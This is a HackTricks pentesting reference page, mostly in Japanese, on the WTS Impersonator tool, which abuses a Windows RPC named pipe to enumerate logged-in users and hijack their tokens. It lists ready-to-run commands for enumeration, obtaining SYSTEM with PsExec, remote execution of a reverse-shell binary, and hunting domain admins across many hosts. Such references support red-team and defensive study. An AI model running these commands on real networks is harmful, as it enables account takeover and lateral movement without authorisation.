WTS Impersonator

Support HackTricks

WTS Impersonatorツールは、"\pipe\LSM_API_service" RPC Named pipeを利用して、ログインしているユーザーを密かに列挙し、トークンをハイジャックします。これにより、従来のトークン偽装技術を回避し、ネットワーク内でのシームレスな横移動が可能になります。この技術の革新は、Omri Basoに帰属し、彼の作品はGitHubで入手可能です

コア機能

このツールは、一連のAPI呼び出しを通じて動作します:

WTSEnumerateSessionsA → WTSQuerySessionInformationA → WTSQueryUserToken → CreateProcessAsUserW

Key Modules and Usage

  • Enumerating Users: ローカルおよびリモートユーザーの列挙は、いずれのシナリオでもコマンドを使用してツールで可能です。

  • Locally:

.\WTSImpersonator.exe -m enum
  • Remotely, by specifying an IP address or hostname:

.\WTSImpersonator.exe -m enum -s 192.168.40.131
  • Executing Commands: exec および exec-remote モジュールは、機能するために Service コンテキストを必要とします。ローカル実行には、WTSImpersonator 実行可能ファイルとコマンドが必要です。

  • Example for local command execution:

.\WTSImpersonator.exe -m exec -s 3 -c C:\Windows\System32\cmd.exe
  • PsExec64.exe を使用してサービスコンテキストを取得できます:

.\PsExec64.exe -accepteula -s cmd.exe
  • Remote Command Execution: PsExec.exe に似たリモートでサービスを作成およびインストールし、適切な権限で実行を可能にします。

  • Example of remote execution:

.\WTSImpersonator.exe -m exec-remote -s 192.168.40.129 -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe -id 2
  • User Hunting Module: 複数のマシンにわたって特定のユーザーをターゲットにし、彼らの資格情報の下でコードを実行します。これは、複数のシステムでローカル管理者権限を持つドメイン管理者をターゲットにするのに特に便利です。

  • Usage example:

.\WTSImpersonator.exe -m user-hunter -uh DOMAIN/USER -ipl .\IPsList.txt -c .\ExeToExecute.exe -sp .\WTServiceBinary.exe
Support HackTricks

Last updated